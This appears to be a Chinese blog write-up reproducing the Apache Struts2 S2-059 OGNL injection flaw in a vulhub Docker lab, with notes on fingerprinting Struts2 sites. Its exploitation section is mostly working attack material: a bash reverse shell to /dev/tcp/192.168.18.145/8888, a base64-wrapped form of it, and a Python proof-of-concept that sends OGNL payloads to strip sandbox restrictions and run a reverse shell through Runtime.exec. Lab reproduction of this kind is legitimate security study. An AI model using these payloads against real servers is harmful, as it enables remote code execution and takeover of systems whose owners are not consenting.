struts2 s2-059漏洞复现

简述漏洞成因

Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{xxx}并且xxx的值用户可以控制,就会造成OGNL表达式执行。OGNL是一个功能强大的表达式语言,用来获取和设置 java 对象的属性。可以用简洁的语法来完成对 java 对象的导航,可以用于列表映射和选择。

漏洞识别(转自https://blog.csdn.net/qq_27446553/article/details/73639456)

1.通过页面回显的错误消息来判断,页面不回显错误消息时则无效。 2.通过网页后缀来判断,如.do .action,有可能不准。 3.判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true

其中第一个利用方法直接在url/后面加?actionErrors=1111,如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于
页面出现404,500,直接回显1111或者出现其他业务相关错误信息。内容结构发生明显改变,页面重定向。

环境搭建

去github找vulhub,然后wget,unzip,docker-compose build ,docker-compose up -d 一把梭。

漏洞利用

先尝试上面的识别方法,url后面加actionErrors=1111果然页面出现404。
404
然后执行?id=%25{2*2},发现源代码中的式子已经被执行。
id=4
说明对这个标签值进行了二次解析,存在漏洞,然后常规手段执行命令反弹shell。在自己的机器上面起一个监听,然后反弹过来。bash -i>& /dev/tcp/192.168.18.145/8888 0>&1 , 上面payload进行加密后放入这里面bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzE5Mi4xNjguMTguMTQ1Lzg4ODggMD4mMQ}|{base64,-d}|{bash,-i} ,然后再加入python写的poc脚本,

import requests url = "http://192.168.239.129:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1) # print(res1.text) res2 = requests.post(url, data=data2) # print(res2.text)

然后执行python文件 python s2-059.py 然后ok结束。
ojbk
好像有struts2的综合的利用工具,等找找。


__EOF__

本文作者Guem
本文链接https://www.cnblogs.com/lulu-3214536072/p/15953018.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   0x00Guem-lulu  阅读(355)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· AI与.NET技术实操系列(六):基于图像分类模型对图像进行分类
点击右上角即可分享
微信分享提示